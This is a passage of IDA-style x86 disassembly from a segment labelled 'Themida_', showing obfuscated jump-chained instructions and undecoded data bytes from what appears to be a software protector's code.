		dd 8A10E9h, 9EA8100h, 42685141h, 0C281D2F7h, 0C21E5FE5h
		dd 815AD389h, 570D07EBh, 8A4FE93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557F52:				; CODE XREF: Themida_:00557ACEj
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55F2D8
; ---------------------------------------------------------------------------
		db 59h,	2Ch, 0DFh
		dd 9BF6E9h, 4EC8300h, 1475E9h, 0BE56AD00h, 5B804E9Ch, 3708E9h
		dd 4C48100h, 81000000h,	7563E6C5h, 0E9F5010Ah, 32E4h, 335EF229h
		dd 14312414h, 24143324h, 8924248Bh, 0E589242Ch,	4C581h
		dd 0C5830000h, 242C8704h, 0B60BE9h
		db 0
; ---------------------------------------------------------------------------


loc_557FBD:				; CODE XREF: Themida_:00552ABAj
		add	esp, 4
		jmp	loc_565833
; ---------------------------------------------------------------------------
		db 5, 6, 40h
		dd 0C0E9764Dh, 83FFFFF2h, 148904ECh, 815A5424h,	4ECh, 240C8900h
		dd 4B9h, 0F76BE900h, 0C481FFFFh, 4, 4BEABF57h, 0EFC14E51h
		dd 0B6E94F06h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557FFF:				; CODE XREF: Themida_:0055B814j
		add	eax, 4
		add	eax, 4
		jmp	loc_552648
; ---------------------------------------------------------------------------


loc_55800C:				; CODE XREF: Themida_:00557BC4j
		pop	edi
		jmp	loc_5637FE
; ---------------------------------------------------------------------------
a_wt_sbi	db '_WT_éBI',0
		dw 8100h
		dd 4C6h, 4EE8100h, 87000000h, 0E95C2434h, 0FFFFC7B5h, 1A54C181h
		dd 2C8B7B6Dh, 4C48124h,	51000000h, 0C181E189h, 4, 8704E983h
		dd 895C240Ch, 74FF240Ch, 34FF0424h, 240C8B24h, 0E7A6E950h
		dd 0F0280000h, 68045804h, 2434FF5Ah, 49C2E9h, 0E9222C00h
		dd 0A158h, 0EC815A66h, 4, 0FFA33FE9h, 56E289FFh, 20611CBEh
		dd 0B5CE8134h, 0F705A54Bh, 0C6814EDEh, 35A56BC2h, 6FD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5580A1:				; CODE XREF: Themida_:00562AB2j
		xor	edx, 0CC979F66h
		add	esi, edx
		jmp	loc_563F31
; ---------------------------------------------------------------------------


loc_5580AE:				; CODE XREF: Themida_:00557BEFj
		mov	[esp], ebp
		jmp	loc_563B59
; ---------------------------------------------------------------------------


loc_5580B6:				; CODE XREF: Themida_:00558629j
		or	eax, eax
		jnz	loc_55A7BA
		push	0CC7h
		mov	[esp], esi
		mov	esi, 79F651F1h
		push	79F651F2h
		push	dword ptr [esp]
		jmp	loc_5659E1
; ---------------------------------------------------------------------------


loc_5580D8:				; CODE XREF: Themida_:00554770j
		add	ebx, 7F9C3415h
		xor	ebx, 3DC38F3h
		shr	ebx, 2
		jmp	loc_55A42E
; ---------------------------------------------------------------------------
		dd 4E3C14Bh, 0B9A5C381h, 0DA89CAFAh, 0FFFDB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5580FD:				; CODE XREF: Themida_:00552306j
		pop	ebx
		sub	ecx, ebx
		add	ecx, 14A52333h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55E7B4
; ---------------------------------------------------------------------------


loc_558123:				; CODE XREF: Themida_:00562446j
		push	ebx
		mov	ebx, 1A1A6E13h
		neg	ebx
		or	ebx, 658C16D3h
		or	ebx, 1BAD3F38h
		and	ebx, 309C6722h
		add	ebx, 0CF73D8E2h
		mov	ebp, ebx
		jmp	loc_564376
; ---------------------------------------------------------------------------


loc_55814A:				; CODE XREF: Themida_:00557AF6j
		pop	edx
		xchg	dh, bl
		jmp	loc_55DD99
; ---------------------------------------------------------------------------


loc_558152:				; CODE XREF: Themida_:00564BC3j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_552868
; ---------------------------------------------------------------------------


loc_55815F:				; CODE XREF: Themida_:00559388j
		mov	[esp], eax
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565677
; ---------------------------------------------------------------------------


loc_558171:				; CODE XREF: Themida_:0056189Bj
		mov	[esp], ecx
		push	0FFFFFFFFh
		jmp	loc_555165
; ---------------------------------------------------------------------------
		dw 0C058h
		dd 0E38004EBh, 0E95266F4h, 2EB8h, 208FF681h, 0F1890032h
		dd 2109E9h, 175BF00h, 0EC830C27h, 24048904h, 7D181DB8h
		dd 4E8C11Ah, 912CE9h, 5946BB00h, 0EB8155E6h, 1EBF064Bh
		dd 0E95BDE31h, 5503h, 0B9240C89h, 4, 73D1C381h,	85E9537Fh
		dd 890000E4h, 5EBE2434h, 29067A12h, 0DA42E9F2h,	2C89FFFFh
		dd 0A668E924h, 0FF57FFFFh, 5F042474h, 8B24048Fh, 0F1E92424h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5581FF:				; CODE XREF: Themida_:00552C47j
		mov	eax, 4B1740DAh
		jmp	loc_56224F
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 77h
		dd 0FFB5E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558211:				; CODE XREF: Themida_:00551F51j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_56105A
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 2EE8100h, 87000000h, 33E92434h, 68000062h, 6439h
		dd 83240489h, 148904ECh, 0D0E2B224h, 0E2CA80EAh, 0CA68DAF6h
		dd 0E900004Ch, 27C5h, 241C8B66h, 2C481h, 74E90000h, 890000C5h
		dd 94D68E7h, 0B3E90000h, 5800004Ah, 7A685350h, 8B65A91Eh
		dd 0C483241Ch, 0E9585304h, 6664h, 0BC25E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558292:				; CODE XREF: Themida_:00551DC0j
		xchg	ebp, edi
		not	ebp
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_556B3A
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 81000000h,	4ECh, 243C8900h, 5C3DDDBFh, 3EFC10Dh
		dd 0DD0E9h, 58C18800h, 0FFB889E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5582C9:				; CODE XREF: Themida_:0055A892j
		shl	edx, 8
		push	ebp
		push	ebx
		push	esi
		mov	esi, 6A627B88h
		mov	ebx, esi
		pop	esi
		mov	ebp, 15FE4A6h
		add	ebp, ebx
		pop	ebx
		sub	edx, 1DD633CFh
		sub	edx, ebp
		push	ecx
		mov	ecx, 1DD633CFh
		add	edx, ecx
		jmp	loc_556369
; ---------------------------------------------------------------------------
		dd 0E8C1E0D1h, 0CBBFE905h, 3C680000h, 0E900001Eh, 0FFFF970Ah
		dd 1415F681h, 0E95364C5h, 31A1h, 0BD55C201h, 51F43EBCh
		dd 570FEA81h, 0EA8170A0h, 7C531199h, 0C281EA01h, 7C531199h
		dd 570FC281h, 2C8B70A0h, 0CE86E924h, 0BE56FFFFh, 19D06B6Ah
		dd 0F7FFC683h, 0EA768D6h, 3C890000h, 0E36CE924h, 24890000h
		dd 24048124h, 4, 1AE9565Fh, 8B000096h, 0C483242Ch, 937CE904h
		dd 0B60FFFFFh, 8734FFC0h, 0E92434FFh, 7B7Ah, 8E63E954h
		dd 47660000h, 27C78166h, 21CBE908h, 0EB800000h,	24048B72h
		dd 5E08950h, 4,	5004C083h, 42474FFh, 24048F58h,	0FFDC4CE9h
		dd 4EE81FFh, 0E9000000h, 0A8A8h, 0C281E289h, 4,	8704EA83h
		dd 895C2414h, 55B82404h, 0C144E827h, 776803E8h,	89000008h
		dd 57BE2434h, 817C1E5Fh, 22BCF3C6h, 8BF009D6h, 89522434h
		dd 1FBB53E2h, 51761542h, 436528B9h, 0E9CB317Ah,	1628h
; ---------------------------------------------------------------------------


loc_558404:				; CODE XREF: Themida_:0055C958j
		push	ebp
		mov	ebp, 7F13E64h
		push	esi
		jmp	loc_56310D
; ---------------------------------------------------------------------------
		dd 5003E5C0h, 5066B4B0h, 0C528C9B0h, 0FFD013E9h, 243C87FFh
		dd 0C8BDE95Ch, 405FFFFh, 0F724C317h, 0C535E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_553238
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 8288C306h, 0E959CE01h, 0FFFFD263h
; ---------------------------------------------------------------------------


loc_558454:				; CODE XREF: Themida_:005669F5j
		sub	ecx, 7C6CE916h
		jmp	loc_553F82
; ---------------------------------------------------------------------------
		db 68h
		dd 3A8Dh, 0E9240489h, 839Bh
; ---------------------------------------------------------------------------


loc_55846C:				; CODE XREF: Themida_:00566223j
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5524B8
; ---------------------------------------------------------------------------


loc_558480:				; CODE XREF: Themida_:00563785j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55E87A
; ---------------------------------------------------------------------------


loc_55848E:				; CODE XREF: Themida_:005564AAj
		pop	ebp
		sub	ebp, 8FA6577Bh
		jmp	loc_55B865
; ---------------------------------------------------------------------------
		dw 0C331h
		dd 582434FFh, 0E95F5457h, 0FFFFE45Dh, 26CBB53h,	0DE09227Ah
		dd 973E9h, 3F5C6800h, 2C890000h, 198D6824h, 2C8B04C4h
		dd 0D06DE924h, 0E1C1FFFFh, 6E1C105h, 47E3C181h,	0EC8354D8h
		dd 0B67FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5584DE:				; CODE XREF: Themida_:0055FB96j
		shr	edi, 4
		add	edi, 0F8040807h
		add	ebx, edi
		pop	edi
		jmp	loc_55D160
; ---------------------------------------------------------------------------
		db 80h
		dd 0C5FE6EE5h, 28C9F580h, 34FF59E8h, 0C4835A24h, 0FB6BE904h
		dd 8358FFFFh, 1C8704EBh, 1C895C24h, 8179E924h, 3A2C0000h
		dd 0D1E9F800h, 8900005Bh, 240C8BCFh, 4C481h, 0EF870000h
		dd 0D7F7FD87h, 0FFB4D1E9h, 3E94DFFh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_560820
; ---------------------------------------------------------------------------


loc_558543:				; CODE XREF: Themida_:00565F39j
		sub	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		push	ebx
		push	2
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5522FF
; ---------------------------------------------------------------------------
		dd 0DBB45051h, 0C0F6B450h, 0ECD006ECh, 0FFBA35E9h, 0FD3158FFh
		dd 8BE8215Fh, 0C483242Ch, 0FC00B04h, 63584h, 1C77FF00h
		dd 81240C8Bh, 4ECh, 24348900h, 0EC83E689h, 7788E904h, 0BB0000h
		dd 29000000h, 192EE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5585AE:				; CODE XREF: Themida_:0055185Cj
		xchg	edi, [esp]
		jmp	loc_562801
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 0A113E901h, 2C89FFFFh, 0FFFF6824h, 295DFFFFh, 0A946E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5585CE:				; CODE XREF: Themida_:00557600j
		pop	eax
		jmp	loc_56348C
; ---------------------------------------------------------------------------


loc_5585D4:				; CODE XREF: Themida_:00561EF4j
		mov	esi, 468E073Eh
		sub	eax, esi
		pop	esi
		jmp	loc_55CF4D
; ---------------------------------------------------------------------------


loc_5585E1:				; CODE XREF: Themida_:00562422j
		push	esi
		jmp	loc_566326
; ---------------------------------------------------------------------------
aXsp		db 'Xé³',0
		dd 5AC58100h, 81974CE7h, 0B82CEEE9h, 0C3DDE915h, 0C481FFFFh
		dd 4, 0CF10E9h
		db 0
; ---------------------------------------------------------------------------


loc_558609:				; CODE XREF: Themida_:00563389j
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56247C
; ---------------------------------------------------------------------------


loc_558618:				; CODE XREF: Themida_:00557EDEj
		shl	edx, 5
		push	ebp
		mov	ebp, 67DEEFECh
		jmp	loc_55CC85
; ---------------------------------------------------------------------------


loc_558626:				; CODE XREF: Themida_:0055401Cj
		mov	esp, [esp]
		jmp	loc_5580B6
; ---------------------------------------------------------------------------


loc_55862E:				; CODE XREF: Themida_:0055D938j
		or	esi, ecx
		push	dword ptr [esp]
		jmp	loc_561264
; ---------------------------------------------------------------------------
		dd 4240483h, 81242C8Bh,	4C4h, 0A2BE5600h, 0E937821Ah, 0FFFFC705h
		dd 2130EE81h, 2BE95B63h, 810000E4h, 4ECh, 24048900h, 805AE9h
		db 0
; ---------------------------------------------------------------------------


loc_558669:				; CODE XREF: Themida_:0055F29Dj
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		jmp	loc_561137
; ---------------------------------------------------------------------------
		dd 242C8758h, 24048F5Ch, 8B24248Bh, 0E951240Ch,	0FFFFC76Dh
		dd 4EC81h, 4890000h, 0BA23E924h, 0C1800000h, 2434FFAFh
		dd 0E924048Bh, 0D3B4h, 0EBEF815Bh, 1387156h, 4558E9DFh
		dd 3C890000h, 281D6824h, 1C890000h, 18BA5224h, 0C1464B3Bh
		dd 0D2F705E2h, 0C108EAC1h, 0C28108EAh, 30D7E9EAh, 8272E9h
		dd 0B9C2D00h, 0F8011B83h, 830B9C05h, 0C449E91Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5586EE:				; CODE XREF: Themida_:00555651j
		add	eax, 4
		push	edi
		mov	edi, 5A6052EDh
		xor	edi, 5A6052E9h
		jmp	loc_566D87
; ---------------------------------------------------------------------------
		dd 0B60F66h, 27016866h,	0FFB4A8E9h, 0E924B3FFh,	86AFh
; ---------------------------------------------------------------------------


loc_558718:				; CODE XREF: Themida_:00563347j
		mov	esp, [esp]
		jmp	loc_55581C
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 8704C283h, 48E92414h,	5EFFFFB5h, 59244F29h
		dd 2434FF53h, 83EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_558741:				; CODE XREF: Themida_:005552EEj
		push	776Eh
		mov	[esp], ecx
		push	ebp
		jmp	loc_560D64
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 48F0000h, 4EC8124h, 89000000h, 0E950241Ch, 0FFFFBCEAh
; ---------------------------------------------------------------------------


loc_558768:				; CODE XREF: Themida_:005587E5j
		push	edx
		jmp	loc_55AED4
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 67D92921h, 3BBBBA52h, 0DAF741DFh, 0CF7AC281h, 0D129141Eh
		dd 0FFB990E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558789:				; CODE XREF: Themida_:00551909j
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		sub	ebx, 6FB606E1h
		xor	ebx, 121952F5h
		push	ecx
		jmp	loc_5645EE
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 6866432Ch,	89663D32h
		dd 0E9502414h, 4AA0h
; ---------------------------------------------------------------------------


loc_5587C4:				; CODE XREF: Themida_:0055C8E5j
		pop	edi
		jmp	loc_551BFA
; ---------------------------------------------------------------------------
		dw 3166h
		dd 53665EF7h, 665CBB66h, 66DF3166h, 0C2D665Bh, 5CD4E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5587E2:				; CODE XREF: Themida_:005577BAj
		push	esi
		push	esp
		pop	esi
		jmp	loc_558768
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 0B8F18149h, 31CDF49Bh, 4FE959CEh, 66000038h,	55240C8Bh
		dd 242C8B54h, 4C481h, 0BB530000h, 4, 1983C581h,	0B3E9127Bh
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55881B:				; CODE XREF: Themida_:00551CEAj
		sub	ebp, 21F64922h
		push	edi
		mov	edi, 74AC6333h
		jmp	loc_558D4C
; ---------------------------------------------------------------------------


loc_55882C:				; CODE XREF: Themida_:0056635Bj
		mov	ecx, 56B9C660h
		jmp	loc_55475B
; ---------------------------------------------------------------------------
		dw 489h
		dd 0DBE5624h, 81558A56h, 3373B5CEh, 0A4BD5549h,	0E9282C13h
		dd 211Dh, 685DEE31h, 0
		dd 5E243429h, 0B2E0F681h, 0EC81F455h, 4, 0E9241489h, 6FCEh
; ---------------------------------------------------------------------------


loc_558870:				; CODE XREF: Themida_:0055C4EEj
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	ecx
		jmp	loc_55EA05
; ---------------------------------------------------------------------------


loc_558884:				; CODE XREF: Themida_:0055E45Ej
		push	esi
		mov	esi, 22DC35D3h
		xor	ebp, esi
		pop	esi
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5647B6
; ---------------------------------------------------------------------------


loc_55889D:				; CODE XREF: Themida_:00553F23j
		push	esi
		mov	esi, 72482EE8h
		add	[esp+0Ch], esi
		pop	esi
		jmp	loc_55FF38
; ---------------------------------------------------------------------------


loc_5588AD:				; CODE XREF: Themida_:0055E4EFj
		push	ebp
		push	esp
		jmp	loc_55CFBC
; ---------------------------------------------------------------------------
aFFHH		db 'f)ßf[hËh',0
		align 2
		dw 3489h
		dd 18BE6624h, 0D6F76618h, 8FE68166h, 0C1E1E97Bh, 8155FFFFh
		dd 4ECh, 0DA91E900h, 0C4810000h, 4, 8704E983h, 895C240Ch
		dd 0B168241Ch, 8900004Eh, 5DE92414h, 8BFFFFEDh,	0C481243Ch
		dd 4, 32CCED81h, 0EE0155BEh, 0ACB8505Dh, 17C0A78h, 0E95A58C6h
		dd 0D72Ah, 0BF57E189h, 4, 835FF901h, 0C8704C1h,	7E045C24h
		dd 577E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558936:				; CODE XREF: Themida_:0055395Aj
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	edx, 0FEF4B3Dh
		jmp	loc_562B22
; ---------------------------------------------------------------------------


loc_55894E:				; CODE XREF: Themida_:0055E99Fj
		sub	ebx, 7C4154A7h
		shr	ebx, 6
		sub	ebx, 39A745Dh
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		or	[edi+1Ch], esi
		jmp	loc_556DA2
; ---------------------------------------------------------------------------


loc_55896D:				; CODE XREF: Themida_:0055DA0Aj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	eax, [esp]
		jmp	loc_556852
; ---------------------------------------------------------------------------
		dd 241C8B66h, 2C481h, 0D0280000h, 0B3E98A2Ch, 59000047h
		dd 0EA81DAF7h, 64DF0F2Dh, 0B029F281h, 0BF575A0Dh, 522370A4h
		dd 0BBEF8147h, 0E956F055h, 0FFFFE5B2h, 5C240487h, 7353E9h
		db 0
; ---------------------------------------------------------------------------


loc_5589B9:				; CODE XREF: Themida_:0055CFF9j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_553487
; ---------------------------------------------------------------------------


loc_5589C7:				; CODE XREF: Themida_:00558DEAj
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_564470
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E9241487h, 60E9h, 546BC681h, 8BE91379h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5589EB:				; CODE XREF: Themida_:005543EFj
		add	eax, 6F094444h
		jmp	loc_55AD62
; ---------------------------------------------------------------------------
		db 49h,	81h, 0C9h
		dd 26F717A6h, 7C18149h,	81615A0Ah, 0A9EF56E9h, 0FF5F518Ch
		dd 53592434h, 0E957E389h, 7907h
; ---------------------------------------------------------------------------


loc_558A18:				; CODE XREF: Themida_:00555998j
		pop	esi
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_55C97A
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0E9000000h, 190Ch, 0B3E95359h, 870000B4h, 69E92434h
		db 0DDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558A4B:				; CODE XREF: Themida_:005542F8j
		mov	edx, 7AD12BCCh
		neg	edx
		push	ecx
		mov	ecx, 4E95307Bh
		or	edx, ecx
		pop	ecx
		jmp	loc_552A8E
; ---------------------------------------------------------------------------


loc_558A60:				; CODE XREF: Themida_:00563AF4j
		mov	eax, 38633079h
		xor	eax, 4026C02h
		shr	eax, 2
		add	eax, 3558AE7Ch
		sub	esp, 4
		jmp	loc_564132
; ---------------------------------------------------------------------------


loc_558A7D:				; CODE XREF: Themida_:00553336j
		pop	ebp
		jmp	loc_55D9B8
; ---------------------------------------------------------------------------
		db 81h
		dd 0BB61B4EDh, 0D8C58101h, 81347560h, 0A1FE27F5h, 7A42D22h
		dd 7CE937A5h, 0B500007Eh, 0C7CBE9BBh, 3C89FFFFh, 81E78924h
		dd 4ECh, 242C8900h, 41322068h, 0D5F75D07h, 4A70C581h, 58685B9Ah
		dd 8900007Ch, 68BA2414h, 83565949h, 0F28101C2h,	16B647C4h
		dd 7ED5EA81h, 686147h, 29000000h, 34FF2414h, 0C4815A24h
		dd 4, 0E6AFC281h, 0D50916F6h, 0FF9491E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558AFD:				; CODE XREF: Themida_:00560C46j
		pop	edi
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		push	7357h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_566B52
; ---------------------------------------------------------------------------


loc_558B1C:				; CODE XREF: Themida_:00563086j
		add	edx, 4
		jmp	loc_555A33
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 456Dh, 0DEC5E9h
		db 0
; ---------------------------------------------------------------------------


loc_558B35:				; CODE XREF: Themida_:0055EC7Fj
		pop	esp
		mov	[esp], edx
		mov	edx, 0CAA130Bh
		xor	edx, 3C1310DCh
		sub	edx, 0E5D284FDh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_557557
; ---------------------------------------------------------------------------


loc_558B5B:				; CODE XREF: Themida_:00551A66j
		xchg	ebp, [esp]
		pop	esp
		pop	edi
		mov	si, 6957h
		xor	si, bp
		pop	ebp
		jmp	loc_557F0D
; ---------------------------------------------------------------------------


loc_558B6D:				; CODE XREF: Themida_:0055AB63j
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 28AB32F2h
		jmp	loc_55CAAD
; ---------------------------------------------------------------------------


loc_558B7B:				; CODE XREF: Themida_:0055319Ej
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55C72A
; ---------------------------------------------------------------------------
		db 0FFh, 0Ch, 24h
		dd 0FFB5B5E9h, 0F6BA52FFh, 8166852Dh, 0D1F1F4EAh, 5AD7895Ch
		dd 38FBEF81h, 0A5E91367h, 830000D6h, 0E904C4h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558BB3:				; CODE XREF: Themida_:0055733Ej
		pop	esp
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_55D11D
; ---------------------------------------------------------------------------
a_s		db '_é¸&',0
		align 4
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF8B0Ah, 0E1C2815Dh
		dd 81115755h, 41937BF2h, 8BD30143h, 0C4812414h,	4, 8904EC83h
		dd 47B9240Ch, 0F74C9172h, 9B32E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558C0E:				; CODE XREF: Themida_:0055B287j
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		jmp	loc_552526
; ---------------------------------------------------------------------------
		dw 0F229h
		dd 88EA815Eh, 517B0C63h, 0F73D5CB9h, 59CA0142h,	0E904EC83h
		dd 0FFFFF59Bh, 0C7C9805Ah, 4CB65266h, 5A66F128h, 0F9EB80h
		dd 5AB151CBh, 0B2E9D1F6h, 0E9FFFFF5h, 0FFFF8A92h, 48B665Ch
		dd 4EC8124h, 89000000h,	5E542434h, 4C681h, 0E9510000h
		dd 0A280h
; ---------------------------------------------------------------------------


loc_558C78:				; CODE XREF: Themida_:0055CF2Fj
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, eax
		push	edi
		jmp	loc_5662B3
; ---------------------------------------------------------------------------
		dd 0ED81CD01h, 8196A14h, 81240C8Bh, 4C4h, 2C58300h, 31242C33h
		dd 2C33242Ch, 0FFB2E924h, 3FE9FFFFh, 81FFFF8Ah,	4ECh, 240C8900h
		dd 0FFAD03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558CBD:				; CODE XREF: Themida_:005595E5j
		mov	[esp], ecx
		push	66C248CEh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55184B
; ---------------------------------------------------------------------------
aSs_0		db '^SéÀ-',0
		dd 24048B00h, 4D2A68h, 3934E900h, 0EAC10000h, 40F28105h
		dd 0F7457C64h, 84BDE9DAh, 5580000h, 4, 42Dh, 24048700h
		dd 80E9545Ch, 8BFFFFB9h, 0C4832414h, 2434FF04h,	2AECE9h
		dd 42D2F700h, 1A3EEA81h, 0D029D06Eh, 6FBB535Ah,	0E907E37Fh
		dd 559h
; ---------------------------------------------------------------------------


loc_558D44:				; CODE XREF: Themida_:0056228Fj
		mov	edi, [esp]
		jmp	loc_5650E0
; ---------------------------------------------------------------------------


loc_558D4C:				; CODE XREF: Themida_:00558827j
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, 72291DA8h
		jmp	loc_562CA8
; ---------------------------------------------------------------------------


loc_558D62:				; CODE XREF: Themida_:0055F0BFj
		pop	esp
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_558D68:				; CODE XREF: Themida_:0055B682j
		push	ebp
		push	esi
		jmp	loc_557A57
; ---------------------------------------------------------------------------
		db 2Ch
		dd 91F7E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558D76:				; CODE XREF: Themida_:00565B48j
		dec	ecx
		push	ebx
		mov	ebx, 4D4F169Fh
		add	ebx, 0F00E28F2h
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 57483797h
		jmp	loc_55FAAE
; ---------------------------------------------------------------------------


loc_558D96:				; CODE XREF: Themida_:005650EEj
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553F90
; ---------------------------------------------------------------------------


loc_558DB4:				; CODE XREF: Themida_:0055D2DFj
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 0E5B22E4h
		add	esi, 0F1A4DD20h
		sub	eax, 0F862460h
		jmp	loc_556079
; ---------------------------------------------------------------------------


loc_558DD0:				; CODE XREF: Themida_:00553032j
		pop	esp
		sub	ebx, 6CB400F2h
		add	ebx, 74C40E11h
		sub	ebx, eax
		sub	ebx, 74C40E11h
		push	1E18h
		jmp	loc_5589C7
; ---------------------------------------------------------------------------
		db 81h
		dd 0D5BAADF6h, 5EF301E0h, 8704C383h, 248B241Ch,	240C8724h
		dd 409665Ch, 0DFE99C24h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E0F:				; CODE XREF: Themida_:00565AACj
		add	esp, 4
		push	edx
		push	71FBh
		jmp	loc_55CD19
; ---------------------------------------------------------------------------


loc_558E1D:				; CODE XREF: Themida_:0055E483j
		mov	esi, 2222736h
		push	ecx
		jmp	loc_555178
; ---------------------------------------------------------------------------
		dd 81DEF75Bh, 514F36EEh, 1456E98Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558E36:				; CODE XREF: Themida_:00559C5Dj
		and	esi, 69E50493h
		dec	esi
		add	esi, 0FFFFFFFFh
		sub	esi, 0DBA3D6A0h
		add	ebx, esi
		pop	esi
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55CAF2
; ---------------------------------------------------------------------------
		db 4Fh,	81h, 0C7h
		dd 18631B6Bh, 4B5FFB89h, 8EBC14Bh, 0A2C38143h, 2166B729h
		dd 0B8505BDFh, 3FF72A29h, 3FE9C731h, 0C1FFFFA2h, 84E907E6h
		db 0D9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558E8B:				; CODE XREF: Themida_:0055A1C7j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5614C5
; ---------------------------------------------------------------------------
		dd 52E08950h, 0F019F1BAh, 4DBF5762h, 4F796125h,	6F83E9h
		dd 0E9BBB200h, 0FFFFD56Ch, 405h, 4C08300h, 8B240487h, 5E2C2424h
		dd 5E04E828h, 0E9536659h, 560Eh, 31243433h, 34332434h
